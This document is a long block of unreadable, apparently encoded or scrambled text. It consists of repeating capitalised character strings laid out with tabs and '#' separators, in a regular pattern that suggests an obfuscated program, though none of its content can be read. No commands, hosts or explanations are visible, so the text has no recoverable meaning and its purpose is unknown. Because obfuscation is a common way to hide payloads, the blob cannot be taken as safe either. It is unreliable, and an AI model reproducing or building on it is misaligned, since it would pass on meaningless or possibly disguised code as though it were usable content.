nefkhezr@^v_XSYHPXKSN t 				###L[GLAFESr@^v_XSYHPXKSN t				ZLQ_JSMQOE						 												#					L[GLAFESr@^v_XSYHPXKSN t							@^v_XSYHPXKSN ZLQ_JSMQOE #				L[GLAFESrSPDBZLLFM] t			LDY]Pnefkhezr@^v_XSYHPXKSN t 											####L[GLAFESrSPDBZLLFM] t				LDY]Pnefkhezr@N[KMFGKOJZ t 								#		L[GLAFESrKKAEPBMEYMGE t				SPDBZLLFM] @N[KMFGKOJZ  								@G] 					iNL]vFY]@FG@^v_XSYHPXKSN 	 							##						L[GLAFESr@N[KMFGKOJZ t						FMQHASYASG@vKKAEPBMEYMGE 	 						 							#							L[GLAFESr@^v_XSYHPXKSN t			SPDBZLLFM] @^v_XSYHPXKSN  		@G] 			iNL]vFY]@FG@^v_XSYHPXKSN 	 				#	L[GLAFESr@N[KMFGKOJZ t			@N[KMFGKOJZ @^v_XSYHPXKSN  						@G] 		iNL]vFY]@FG@^v_XSYHPXKSN 				 								#						L[GLAFESr@N[KMFGKOJZ t			KKAEPBMEYMGE KKAEPBMEYMGE  								@G] 				iNL]vFY]@FGSPDBZLLFM] 	 		#_ONSMO			\PMXQZ\DMJ_]\OH #					L[GLAFESr@^v_XSYHPXKSN t								i@N[KMFGKOJZ _ONSMO			@^v_XSYHPXKSN  			O@HHBZGGMX_Q]]_BZiKKAEPBMEYMGE _ONSMO					@^v_XSYHPXKSN 			OHEZL		G\EE				   											 					###		L[GLAFESr@N[KMFGKOJZ t			iSPDBZLLFM] _ONSMO			@N[KMFGKOJZ  			O@HHBZGGMX_Q]]_BZiKKAEPBMEYMGE _ONSMO				SPDBZLLFM] 	OHEZL				G\EE							   										 								#L[GLAFESrSPDBZLLFM] t			iSPDBZLLFM] _ONSMO					@^v_XSYHPXKSN  			O@HHBZGGMX_Q]]_BZiSPDBZLLFM] _ONSMO									@^v_XSYHPXKSN 	OHEZL	G\EE										   									 							#vKYPXYDKBE@MNB						@N[KMFGKOJZ 								FZLYYKLLEQ[\Ahkzyh}a		N		  #					HHJLDSMvSN										KKAEPBMEYMGE 						FZLYYKLLEQ[\Ahkzyh}a			N		  #				L[GLAFESr@N[KMFGKOJZ t				#		OF[LHJA		H[[HP^D]]OFPX_KGKN@ 		_ONSMO	hkzyh}a				@^v_XSYHPXKSN  		HZ	EP__KN[EZB] 		R#	@O		iKKAEPBMEYMGE EP__KN[EZB]							vKYPXYDKBE@MNB				SPDBZLLFM]   					L[GLAFESrKKAEPBMEYMGE t			#	@O	iSPDBZLLFM] EP__KN[EZB]																HHJLDSMvSN 					@G] 	i@^v_XSYHPXKSN EP__KN[EZB]													HHJLDSMvSN 				KKAEPBMEYMGE  						  			R#L[GLAFESrKKAEPBMEYMGE t								#			K[LHB###T#						T#	\GZL]HHJLDSMvSN		EP__KN[EZB] #		[_FFZv[vAFX\		@^v_XSYHPXKSN SPDBZLLFM]  				i@^v_XSYHPXKSN KKAEPBMEYMGE  			OHEZL#		@O			@N[KMFGKOJZ [_FFZv[vAFX\ 				UU	[_FFZv[vAFX\										UU					[_FFZv[vAFX\						SPDBZLLFM]  	[_FFZv[vAFX\							@^v_XSYHPXKSN #L[GLAFESr@N[KMFGKOJZ t					iSPDBZLLFM] hkzyh}a		[_FFZv[vAFX\ 					KKAEPBMEYMGE Z][@GN 		iSPDBZLLFM] hkzyh}a						[_FFZv[vAFX\ 		@^v_XSYHPXKSN  							OHEZL 										#L[GLAFESrSPDBZLLFM] t				i@^v_XSYHPXKSN hkzyh}a											SPDBZLLFM]  			@^v_XSYHPXKSN Z][@GN 			i@^v_XSYHPXKSN hkzyh}a			KKAEPBMEYMGE  	SPDBZLLFM]  									OHEZL 												###L[GLAFESrSPDBZLLFM] t				i@^v_XSYHPXKSN hkzyh}a						@N[KMFGKOJZ  			@N[KMFGKOJZ Z][@GN 		i@^v_XSYHPXKSN hkzyh}a							SPDBZLLFM] 			OHEZL	G\EE								  		SPDBZLLFM]  				OHEZL 									####		L[GLAFESrKKAEPBMEYMGE t		MLO@GLM@^v_XSYHPXKSN  														#						L[GLAFESrKKAEPBMEYMGE t									MLO@GLMSPDBZLLFM]  		UU	MLO@GLM@^v_XSYHPXKSN  		UU	MLO@GLM@^v_XSYHPXKSN  	UU		KKAEPBMEYMGE @^v_XSYHPXKSN  						UU						@N[KMFGKOJZ @^v_XSYHPXKSN  						UU				@ZZL]nefkhezrKKAEPBMEYMGE t 		UU		KKAEPBMEYMGE KKAEPBMEYMGE   										#	L[GLAFESr@N[KMFGKOJZ t						@G] 	NL]vFY]@FGKKAEPBMEYMGE 				 #L[GLAFESr@N[KMFGKOJZ t					@G] 		NL]vFY]@FG@N[KMFGKOJZ 		 #	L[GLAFESr@^v_XSYHPXKSN t					@G] 				NL]vFY]@FG@^v_XSYHPXKSN 			 ###JAXYEZCNA								AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	H[[HP  E[O@L]]J[COQCKG]PE[O@L]]J E[O@L]]JE[O@L]]J##	PKX@							##				\OK\HLSvJP@					#				@O			KKAEPBMEYMGE JAXYEZCNA  				R####					OF[LHJA			JAXYEZCNA	HZ		DAGQ[H 					R###		@O			GvPSJ\HMXMJOGMDAGQ[H 							 		JFG]@G\L##PKX@##		FHZPZP					@N[KMFGKOJZ DAGQ[H 			@G] 		@ZZL]DAGQ[HrKKAEPBMEYMGE t 						DAGQ[Hr@^v_XSYHPXKSN t				 							#		YP\SvOK]KQ^				@N[KMFGKOJZ DAGQ[H 					@ZZL]DAGQ[HrKKAEPBMEYMGE t 			@G] 		DAGQ[Hr@N[KMFGKOJZ t			#	@O				FHZPZP					YP\SvOK]KQ^	UU			YP\SvOK]KQ^			KKAEPBMEYMGE  							   	\OK\HLSvJP@####				T#	T#		L[GLAFESrSPDBZLLFM] t			PKX@##		L[GLAFESr@^v_XSYHPXKSN t									\OK\HLSvJP@#				K\[[EX^OJ							KKAEPBMEYMGE KKAEPBMEYMGE  							iNL]vFY]@FG@N[KMFGKOJZ 	 												#				L[GLAFESrKKAEPBMEYMGE t						SPDBZLLFM] K\[[EX^OJ 			@^v_XSYHPXKSN K\[[EX^OJ								w  									#	Av\ONQKZ			SPDBZLLFM] @N[KMFGKOJZ  						iNL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  						H[[HP #				L[GLAFESr@^v_XSYHPXKSN t			SPDBZLLFM] Av\ONQKZ 			LDY]PAv\ONQKZr]t 					UU		LDY]PAv\ONQKZrSPDBZLLFM] t   														#		T		JH]JA						}A[F^HKEL	E]GYK]v 	R#						L[GLAFESrSPDBZLLFM] t		@N[KMFGKOJZ E]GYK]vNL]dLZZHNL 				  #		T		JH]JA		lQJLY]@FG				E]GYK]v 			R####			L[GLAFESr@N[KMFGKOJZ t		@^v_XSYHPXKSN E]GYK]vNL]dLZZHNL 				QQ  #	T###							[L]\[G		L[GLAFES#T#	#			O\GJ]@FG		DvXCY]SQA][PB[M] #R#						@O	@N[KMFGKOJZ @^v_XSYHPXKSN   					R#					[L]\[G		Z][@GN 			Z@]Lv\[E@N[KMFGKOJZ  #						T#	[L]\[G	@^v_XSYHPXKSN @^v_XSYHPXKSN  					Z][@GN 					^YvEFN@Gv\[E 					#	T##	#					O\GJ]@FG	^NSJYZ_PLBFXKOG_GB@vvK #		R#	S[MHDH@GS\XFE				#			@O			@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	ZGHYZAF]@ZFEH]LM	ZJALM\EL[##		S[MHDH@GS\XFE						Z][@GN 						SPDBZLLFM] AFDLv\[E 	JFGZ]HG]@N[KMFGKOJZ   #			T#		@O					S[MHDH@GS\XFE				@^v_XSYHPXKSN @^v_XSYHPXKSN   	R#		S[MHDH@GS\XFE			Z][@GN 		@N[KMFGKOJZ NL]vZ@]Lv\[E 	JFGZ]HG]@N[KMFGKOJZ   #	T#		@O							S[MHDH@GS\XFE						SPDBZLLFM] @^v_XSYHPXKSN   	R#	S[MHDH@GS\XFE			Z][@GN 						SPDBZLLFM] NL]vKEFN@GOFSPDBZLLFM]  		JFGZ]HG]@^v_XSYHPXKSN   #T#	@O				S[MHDH@GS\XFE					@N[KMFGKOJZ SPDBZLLFM]   					R#		S[MHDH@GS\XFE		Z][@GN 				@N[KMFGKOJZ Z][@GN 			NL]vFY]@FG@^v_XSYHPXKSN 			 		JFGZ]HG]KKAEPBMEYMGE   #					T#			@O				S[MHDH@GS\XFE		@ZZL]vzl{l{rKKAEPBMEYMGE t  		R##	S[MHDH@GS\XFE			Z][@GN 				vzl{l{rKKAEPBMEYMGE t#	T###@O		S[MHDH@GS\XFE			@ZZL]vzl{l{r@N[KMFGKOJZ t  				R#							S[MHDH@GS\XFE						Z][@GN 	vzl{l{rKKAEPBMEYMGE t#	T#		@O			S[MHDH@GS\XFE 				R#	~y	}HKEL	kEFJB	JH\ZHE	D@MMEL^H[L##[L]\[G	G_GB@vvK#			T#	[L]\[G			S[MHDH@GS\XFE#		T#O\GJ]@FG				\[DK^E^^XY #	R#			][P						R#	YFEPGFD@HE	Z]HK@E@SL[	####	QZA_SCMYBGX								SPDBZLLFM] @N[KMFGKOJZ  				@G] 			i@N[KMFGKOJZ @^v_XSYHPXKSN  					#@O		@N[KMFGKOJZ @N[KMFGKOJZ   	iKKAEPBMEYMGE   #		]ZAC\QBPH_\C			QZA_SCMYBGX			QLQ 			QZA_SCMYBGX					  		QZA_SCMYBGX									  			QZA_SCMYBGX																QZA_SCMYBGX						w  			 								QQ  #					@O					YKSSvB[HE_\G]CAPF  		R#	[L]\[G###					T####	@O			JD@CQMEODG^@^v_XSYHPXKSN   						R#		[L]\[G##		T#				#FM@QQFSvX					KKAEPBMEYMGE ][\L ###			[@_C[S^E^\L				AM_PYB]^H_BM_ #			@O			#			SPDBZLLFM] [@_C[S^E^\L #UU			@ZZL][@_C[S^E^\Lr@N[KMFGKOJZ t 						UU							@N[KMFGKOJZ [@_C[S^E^\Lr@N[KMFGKOJZ t 	UU						[@_C[S^E^\Lr@N[KMFGKOJZ t#			UU							@ZZL][@_C[S^E^\LrKKAEPBMEYMGE t 			UU				SPDBZLLFM] [@_C[S^E^\LrKKAEPBMEYMGE t 				UU		LDY]P[@_C[S^E^\LrKKAEPBMEYMGE t #			 	R####			A[HKSJPO_D]_G #		[L]\[G#	T#	[ADFZPvYFZM				[@_C[S^E^\Lr@^v_XSYHPXKSN t#	XAEB						[@_C[S^E^\Lr@N[KMFGKOJZ t#		CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 	[ADFZPvYFZM		SPDBZLLFM]  ####				AK@_Q]ZX					KKAEPBMEYMGE @^v_XSYHPXKSN  					Z][@GN 		NL]vFY]@FG@N[KMFGKOJZ 						 				_KKQLQQPKP]AM_KKQLQQ#		@O			AK@_Q]ZX														@N[KMFGKOJZ AK@_Q]ZX	XAEB					][\L  	R#			XAEB				@^v_XSYHPXKSN SPDBZLLFM] XAEB	H[[HPAK@_Q]ZX   #			SPDBZLLFM] XAEB #				@^v_XSYHPXKSN XAEB		AK@_Q]ZX #	T		LEZL@O						KKAEPBMEYMGE XAEB 				 		R#					KKAEPBMEYMGE XAEB #							T#	Z][LHD@GN	Z\KZ]@]\]@FGDHY	###		@O					KKAEPBMEYMGE ][\L 			FM@QQFSvX 										@G] 					]ZAC\QBPH_\C				  				R#	ZZHJFG_L[]	Z]HK@E@SL[	OF[	~y	{LM\Q	z]F[L##			A[HKSJPO_D]_G #				[L]\[G##		T#	#		PEG^DGC\K^M				vDBQCN\XAA #			^MCBDLPLE@ONPEG^DGC\K^M #	####	\L\OAL]X							H[[HP ####					@O			SPDBZLLFM] KKAEPBMEYMGE   		R#	OF[LHJA		H[[HP 		NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  	HZ					OEKOHSDG@[F 			R####	@O		KKAEPBMEYMGE OEKOHSDG@[F 					OEKOHSDG@[F 		R#			\L\OAL]Xrt								OEKOHSDG@[F#T#			T#			T#	yay	DH]JA	LQY[LZZ@FG	J\K@J	JAH@G##	#YDZSKPAJQ]A				H[[HP #	@O	MLO@GLM@^v_XSYHPXKSN   		R#			DFZJQA						KKAEPBMEYMGE @N[KMFGKOJZ  										iKKAEPBMEYMGE @N[KMFGKOJZ ~yd|vye|n`gvm`{		 			@N[KMFGKOJZ  			OHEZL#	@O			@N[KMFGKOJZ DFZJQA  			R#OF[LHJA				DFZJQA			HZ				MLXDFHODDKY 			R#	YDZSKPAJQ]Art			@^v_XSYHPXKSN MLXDFHODDKY #					T#	Y[FYHNH]L	JFGGLJ]LM	KEFFDO@E]L[#####				T#T#			#ZKLDKBEXJC							H[[HP####	@^v_XSYHPXKSN 					^NSJYZ_PLBFXKO #		SPDBZLLFM] 				^NKBHS]S^NFHGH^O] #@N[KMFGKOJZ 							@N[KMFGKOJZ [ZKLSD_ 		SPDBZLLFM]  #	@^v_XSYHPXKSN 								@N[KMFGKOJZ hkzyh}a	SPDBZLLFM]  #SPDBZLLFM] 				\L\OAL]X#			@N[KMFGKOJZ 				YDZSKPAJQ]A#SPDBZLLFM] 							DvXCY]SQA][PB[M] #@^v_XSYHPXKSN 					CB^\LDvOvXv[SKCHPEG^DGC\K^M ####	@^v_XSYHPXKSN 					GvK]ME\Q\BFQSL_PEG^DGC\K^M #						KKAEPBMEYMGE 					F^YJG^[GCMGQ			NX[M]GZAG[S]NEDLQ  #						# ####		QCKZB]MJA				@N[KMFGKOJZ KKAEPBMEYMGE  								^YvCZFGvLGJFMLZKLDKBEXJC 								SPDBZLLFM] ZKLDKBEXJC #						G_]O_\PFEGNX^G				SSZXS^KZAAPQLL@vQCKZB]MJA	[ADFZPvYFZM #E]^CBJ					H[[HPKKAEPBMEYMGE 						@^v_XSYHPXKSN  ####	vNDDQANQAC]^F					G\EE####		A[HKSJPO_D]_G ##OF[LHJA		XAEB	HZ	CDCJYMNO 	R#	#			@O	@^v_XSYHPXKSN ][\L 								FM@QQFSvX 					]ZAC\QBPH_\C 			R#				K[LHB##		T#		#	CDCJYMNO							@^v_XSYHPXKSN Z][@GN 						CDCJYMNO ##		@O			CDCJYMNO 	R#JFG]@G\L#T#							][P			R#	JFGZ@ML[	@GE@G@GN#####					@LC^]CX								[ADFZPvYFZM####	QAQDFGS_^NXD[					_]MNF_JCDCJYMNO	G_]O_\PFEGNX^G			E]^CBJ		w 		O\GJ]@FG		]_]YAEMZK 		\ZL	@LC^]CX 						R#L[GLAFES							SSZXS^KZAAPQLL@v]_]YAEMZK	@LC^]CX ##	@O		L[GLAFES 					[L]\[G			OHEZL#		[L]\[G			KKAEPBMEYMGE i@N[KMFGKOJZ @N[KMFGKOJZ L[GLAFES 			][\L  #T #@O					QAQDFGS_^NXD[ 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 				SPDBZLLFM] 					CDCJYMNO #		JFG]@G\L#					T#	yz{	DLZZHNLZ	KLGJADH[B	@]L[H]F[###		#	DPBYYL]G					SSZXS^KZAAPQLL@vQAQDFGS_^NXD[	[ADFZPvYFZM #		@O						DPBYYL]G 				R#					FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			SPDBZLLFM] 				CDCJYMNO #JFG]@G\L#T#	vNDDQANQAC]^F				i@^v_XSYHPXKSN SPDBZLLFM] DPBYYL]G 					][\L ####			@O				KKAEPBMEYMGE vNDDQANQAC]^F  		R##					@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	~y	{@JA}LQ]	hy`	FY]@FG	[F^###					\YMH]LvFY]@FG@N[KMFGKOJZ 		CDCJYMNO #		T#		K[LHB#					T						LEZL		R#						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE 						CDCJYMNO #							T#	T		JH]JA		}A[F^HKEL		E]GYK]v 			R#						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #	JFG]@G\L#	T		JH]JA		lQJLY]@FG					E]GYK]v 					R#				JFG]@G\L#		T##T#						@O								KKAEPBMEYMGE vNDDQANQAC]^F  	R#		_^@Y]ECH[K			SSZXS^KZAAPQLL@v@N[KMFGKOJZ H[[HP#	SPDBZLLFM] 					^NSJYZ_PLBFXKO #		@^v_XSYHPXKSN 			^NKBHS]S^NFHGH^O] ##	@N[KMFGKOJZ 			@^v_XSYHPXKSN [ZKLSD_ 	@^v_XSYHPXKSN  ##			@N[KMFGKOJZ 				##	  		[ADFZPvYFZM #		J_@[BEONv_						@N[KMFGKOJZ Z][][KKAEPBMEYMGE _^@Y]ECH[K 		SPDBZLLFM] 			KKAEPBMEYMGE  		 #				LNBS]XDQ@MH						@N[KMFGKOJZ J_@[BEONv_		  #OF[LHJA				XAEB			HZ		CDCJYMNO 	R##					@O			@N[KMFGKOJZ ][\L 									FM@QQFSvX 				]ZAC\QBPH_\C 			R#				K[LHB#T#			CDCJYMNO					@N[KMFGKOJZ Z][@GN 	CDCJYMNO JXB@Yyayv`g}vdhqyayv`g}vdhqEAvYSBM\YDJXB@Y#@O	CDCJYMNO					 	R#	iDFGFDF[YA@SL	\G@O@JH]@FG##			JFG]@G\L#						T#		BZABDZZ^			FZLYYKLLEQ[\A^NSJYZ_PLBFXKO 									@^v_XSYHPXKSN ][\L 				  ##				DCD[LZ@BKN\_				@^v_XSYHPXKSN LNBS]XDQ@MH #			NEZ@XH@Q					@^v_XSYHPXKSN CDCJYMNO						 			OHEZL 										#	OF[					]B_XAL@				]B_XAL@					DCD[LZ@BKN\_	]B_XAL@ 	R###	@O	KKAEPBMEYMGE ][\L 					FM@QQFSvX 			]ZAC\QBPH_\C 	R#				K[LHB#	T#			X\_Q[_GSDBD				]B_XAL@		DCD[LZ@BKN\_				 #		A^B[XKA^B]S					CDCJYMNO						NEZ@XH@Q							@^v_XSYHPXKSN 		BZABDZZ^			SPDBZLLFM] 		]B_XAL@					@N[KMFGKOJZ 				DCD[LZ@BKN\_						@N[KMFGKOJZ 					LNBS]XDQ@MHr]B_XAL@t#			@K\ZM					Z[ZXvKF[YSH@YA^B[XKA^B]S	 	X\_Q[_GSDBD		O\GJ]@FG					]_]YAEMZK 					\ZL	[ADFZPvYFZM 			R#L[GLAFES					SSZXS^KZAAPQLL@v]_]YAEMZK			[ADFZPvYFZM ##@O	L[GLAFES 	[L]\[G			OHEZL#	[L]\[G	@^v_XSYHPXKSN iSPDBZLLFM] KKAEPBMEYMGE L[GLAFES 			][\L  #				T					G\EE #					@O		X\_Q[_GSDBD		@^v_XSYHPXKSN @K\ZM 				@K\ZM										 			R#				vNM		SSZXS^KZAAPQLL@v@K\ZM	[ADFZPvYFZM ##	vKYPXYDKBE@MNB						vNM		iSPDBZLLFM] KKAEPBMEYMGE vNM 						][\L 								G\EE#	@O		KKAEPBMEYMGE vKYPXYDKBE@MNB  		R###	vNDDQANQAC]^F							vKYPXYDKBE@MNBSJ_\B_PZ[KMZJE[FJ\^SJ_\B_PZ#@O	KKAEPBMEYMGE @^v_XSYHPXKSN   		R#	\YMH]LvFY]@FGSPDBZLLFM] 						CDCJYMNO #		T####							K[LHB##	T####				T##						T#			@O		KKAEPBMEYMGE vNDDQANQAC]^F  	R#					K[LHB#		T#	T#							T#@O								@N[KMFGKOJZ vNDDQANQAC]^F  	R#	[L]\[G#			T#	@O	F^YJG^[GCMGQ									@N[KMFGKOJZ KKAEPBMEYMGE   	R#				MLEL]LvFY]@FGL_LYNP^vZHQF\\F@^v_XSYHPXKSN   #	T#						@O			@ZZL]nefkhezrSPDBZLLFM] t 			UU		@N[KMFGKOJZ nefkhezrSPDBZLLFM] t  	nefkhezrKKAEPBMEYMGE t				H[[HP ####	nefkhezrSPDBZLLFM] t					@N[KMFGKOJZ @N[KMFGKOJZ nefkhezrSPDBZLLFM] t						F^YJG^[GCMGQ  #	@O	@ZZL]vNDDQANQAC]^FrKKAEPBMEYMGE t 			SPDBZLLFM] vNDDQANQAC]^FrKKAEPBMEYMGE t  				R#				DBHPPAYP_CYPA\vNDDQANQAC]^Fr@^v_XSYHPXKSN t					@ZZL]vNDDQANQAC]^Fr@N[KMFGKOJZ t 							KKAEPBMEYMGE vNDDQANQAC]^FrKKAEPBMEYMGE t 			vNDDQANQAC]^FrSPDBZLLFM] t						LDY]PvNDDQANQAC]^Fr@N[KMFGKOJZ t  #T#		#				AKFZQAK		OHEZL##		O@^AFvD[DPK					H[[HP #		##		@O			@ZZL]vNDDQANQAC]^Fr@N[KMFGKOJZ t 				SPDBZLLFM] vNDDQANQAC]^Fr@N[KMFGKOJZ t  					R#			@NYAOBHL						H[[HP ##		OF[LHJA						vNDDQANQAC]^FrKKAEPBMEYMGE t	HZ	YCOFJFCO\ 		R#	@O						@^v_XSYHPXKSN YCOFJFCO\ 					YCOFJFCO\				 	R#	@NYAOBHLrt					YCOFJFCO\#							T#	M@HNGFZ]@J	MH]HOEF^N[HYA	##		T#	_GXBL^_HK							nefkhezrSPDBZLLFM] t#			@NYAOBHL						SMMMSODOSM@PNP@NYAOBHL ####	nefkhezr@N[KMFGKOJZ t				@NYAOBHL#		O@^AFvD[DPKrSPDBZLLFM] t					@NYAOBHL#		@O						LDY]PSPDBZLLFM] @NYAOBHL		_GXBL^_HK  				UU				LDY]P@^v_XSYHPXKSN _GXBL^_HK	@NYAOBHL   				R#	AKFZQAK			][\L#			T##				T#			#			@O		@ZZL]vNDDQANQAC]^FrSPDBZLLFM] t 				@N[KMFGKOJZ vNDDQANQAC]^FrKKAEPBMEYMGE t  			R#						@NYAOBHL								H[[HP #				#			OF[LHJA			vNDDQANQAC]^Fr@^v_XSYHPXKSN t	HZ	YCOFJFCO\ 					R#@O				@N[KMFGKOJZ YCOFJFCO\ 					YCOFJFCO\			 	R#@NYAOBHLrt						YCOFJFCO\#		T#					T#		_GXBL^_HK									nefkhezrSPDBZLLFM] t####		@NYAOBHL						SMMMSODOSM@PNP@NYAOBHL ###				nefkhezr@N[KMFGKOJZ t						@NYAOBHL#				O@^AFvD[DPKr@^v_XSYHPXKSN t					@NYAOBHL#							@O			LDY]PSPDBZLLFM] @NYAOBHL	_GXBL^_HK  		UU			LDY]P@N[KMFGKOJZ _GXBL^_HK	@NYAOBHL   		R###	AKFZQAK						][\L#				T#	T#	DKZ][@GN	Z][@J]	HKF[]	LX\@_HELGJLJEHZZ##	@O		@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 			@^v_XSYHPXKSN vNDDQANQAC]^Fr@N[KMFGKOJZ t  	R#		JN@ENZBF^J				FMQHASYASG@v@^v_XSYHPXKSN 		 #nefkhezrKKAEPBMEYMGE t				vNDDQANQAC]^FrSPDBZLLFM] t#O@^AFvD[DPKrKKAEPBMEYMGE t						vNDDQANQAC]^Fr@^v_XSYHPXKSN t#		@O			@^v_XSYHPXKSN vNDDQANQAC]^FrSPDBZLLFM] t 				@N[KMFGKOJZ JN@ENZBF^J  		R#	AL[D@]@HG	_@Z@]F[##				CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 		vNDDQANQAC]^FrKKAEPBMEYMGE t			@^v_XSYHPXKSN  #[CMAX_XY\@B[\BN\ #		T#		\GZL]JN@ENZBF^J ###			T#		M\_DDMG					@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 					KKAEPBMEYMGE vNDDQANQAC]^Fr@^v_XSYHPXKSN t 							vNDDQANQAC]^FrSPDBZLLFM] t			H[[HP ###@O						@ZZL]M\_DDMGrSPDBZLLFM] t 				KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t  		R#				@O	@^v_XSYHPXKSN M\_DDMGrSPDBZLLFM] t 			QQO  	R####	nefkhezr@^v_XSYHPXKSN t								M\_DDMGrSPDBZLLFM] t#					O@^AFvD[DPKrKKAEPBMEYMGE t			M\_DDMGrKKAEPBMEYMGE t#			T			LEZL		R###	nefkhezrSPDBZLLFM] t									#O@^AFvD[DPKr@^v_XSYHPXKSN t					#CSvEESS]PSH[M^GBD_SPDBZLLFM] 					@N[KMFGKOJZ  ###					T#	T#		@O			@ZZL]M\_DDMGrSPDBZLLFM] t 			KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t  	R#	@O		KKAEPBMEYMGE M\_DDMGrKKAEPBMEYMGE t 					  				R#					nefkhezr@N[KMFGKOJZ t							M\_DDMGr@N[KMFGKOJZ t#				O@^AFvD[DPKr@^v_XSYHPXKSN t					M\_DDMGrKKAEPBMEYMGE t#T	LEZL			R#								nefkhezrKKAEPBMEYMGE t					#			O@^AFvD[DPKrSPDBZLLFM] t					#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 		KKAEPBMEYMGE  ##		T#						T#			_L\DHGDSNv			@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 		@^v_XSYHPXKSN vNDDQANQAC]^Fr@N[KMFGKOJZ t 					vNDDQANQAC]^Fr@N[KMFGKOJZ t						H[[HP #					_]ZAKXHKPJJ			H[[HP#	SPDBZLLFM] 			KKAEPBMEYMGE #					KKAEPBMEYMGE 					@N[KMFGKOJZ ##			@^v_XSYHPXKSN 			KKAEPBMEYMGE #							@N[KMFGKOJZ 					KKAEPBMEYMGE #@N[KMFGKOJZ 							@^v_XSYHPXKSN #			@^v_XSYHPXKSN 			SPDBZLLFM] #		KKAEPBMEYMGE 				@N[KMFGKOJZ ###	KKAEPBMEYMGE 					KKAEPBMEYMGE #				 #OF[LHJA				_]ZAKXHKPJJ		HZ	_CH@vK[O				_XEF]XD]LC 				R#@O	@ZZL]_L\DHGDSNvr_CH@vK[Ot 						@N[KMFGKOJZ _L\DHGDSNvr_CH@vK[Ot 							KKAEPBMEYMGE _L\DHGDSNvr_CH@vK[Ot 				w  		R#	O@^AFvD[DPKr_XEF]XD]LCt							_L\DHGDSNvr_CH@vK[Ot#							T#			T#@O			@ZZL]vNDDQANQAC]^FrKKAEPBMEYMGE t 								KKAEPBMEYMGE vNDDQANQAC]^FrSPDBZLLFM] t  	R##_MAE@\_\EJ		@G] 					vNDDQANQAC]^Fr@N[KMFGKOJZ t#		@O						_MAE@\_\EJ						 						_MAE@\_\EJ			QOOQ  		O@^AFvD[DPKr@N[KMFGKOJZ t			_MAE@\_\EJ#								T#		@O	@ZZL]vNDDQANQAC]^Fr@^v_XSYHPXKSN t 						SPDBZLLFM] vNDDQANQAC]^Fr@^v_XSYHPXKSN t  	R#vJ@								@G] 		vNDDQANQAC]^Fr@N[KMFGKOJZ t#@O					vJ@			 					vJ@				  	O@^AFvD[DPKrKKAEPBMEYMGE t			vJ@#								T#@O	LDY]PO@^AFvD[DPK  					R#	MLEL]LvFY]@FG@N[KMFGKOJZ  #	MLEL]LvFY]@FG@^v_XSYHPXKSN  #\YMH]LvFY]@FG@^v_XSYHPXKSN 		@N[KMFGKOJZ   #MLEL]Lv][HGZ@LG]KKAEPBMEYMGE  ###			SENDYMJ\^^CSHFB] v^MH]BM@POMv^MH]BM@####				EBO_KJ@NXJJJZ #				[L]\[G#		T####	#			\[F_\MA^A]								HA@ZOGv_MX[HB_Q\@^v_XSYHPXKSN 	OHEZL #			##		@O		SPDBZLLFM] \[F_\MA^A]  	R#	O@^AFvD[DPK			KKAEPBMEYMGE \[F_\MA^A]				O@^AFvD[DPK _ADDJF^Eyayv`g}vdhqyayv`g}vdhqMGPXFSOCY_ADDJF^E#	T#						#	@O						@^v_XSYHPXKSN @N[KMFGKOJZ   		R#			[DXQX_G@MCSSB				ALQFXB@G@^X ###	@O				@ZZL]O@^AFvD[DPKr@^v_XSYHPXKSN t 							@G] 				O@^AFvD[DPKrKKAEPBMEYMGE t						 				@G] 	O@^AFvD[DPKrSPDBZLLFM] t						  					[DXQX_G@MCSSB					@G] 	O@^AFvD[DPKr@N[KMFGKOJZ t##								ZL]v][HGZ@LG]HZZ[vN@S@BZX 	O@^AFvD[DPK			[DXQX_G@MCSSB #						T#				#		^QB]AHO@^v_XSYHPXKSN 						O@^AFvD[DPK				KKAEPBMEYMGE  ###					@O			@ZZL]O@^AFvD[DPKr@N[KMFGKOJZ t 				@N[KMFGKOJZ @N[KMFGKOJZ  				@N[KMFGKOJZ KKAEPBMEYMGE  			@N[KMFGKOJZ @^v_XSYHPXKSN   			R#	CHXM_[JB^_AQXAD						^YvNL]vZJALM\ELMvL_LG]SG^DSX^[_L  #					@O		CHXM_[JB^_AQXAD				@G] 						CHXM_[JB^_AQXAD@G]L[_HE						@G] 	O@^AFvD[DPKrKKAEPBMEYMGE t 			R##			^YvJELH[vZJALM\ELMvAFFBSG^DSX^[_L  #^YvZJALM\ELvL_LG]@^v_XSYHPXKSN  						SPDBZLLFM] w 		  	KKAEPBMEYMGE 		SG^DSX^[_L  #			T#	T#	\YMH]LvFY]@FG@^v_XSYHPXKSN 	KKAEPBMEYMGE   #		MLEL]LvFY]@FG@N[KMFGKOJZ  #				MLEL]LvFY]@FG@^v_XSYHPXKSN  #		MLEL]Lv][HGZ@LG]SPDBZLLFM]  #SENDYMJ\^^CSHFB] #EBO_KJ@NXJJJZ #					####	@O	AKFZQAK 	R#		Y[CPCJC\_S_[SHCOv #	T#		T	JH]JA	}A[F^HKEL				E]GYK]v 		R#	MLHEEFJH]L	JF_H[@HG]	OF[	~y	{lz}	hy`	_##								FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T				JH]JA	lQJLY]@FG		E]GYK]v 			R#				T		O@GHEEP						R#	NZADHFK@PJ[KKAEPBMEYMGE  #		T#				T######	O\GJ]@FG	DBHPPAYP_CYPA\HLvZHMYK						[@@AS\S\BCG						PSH[[DXQ				OHEZL #		R#								@O	JD@CQMEODG^@N[KMFGKOJZ   	[L]\[G#	][P						R#				#					NGABKQNX]							iSPDBZLLFM] HLvZHMYK		][\L #@O	@^v_XSYHPXKSN NGABKQNX] 		KKAEPBMEYMGE NGABKQNX] 						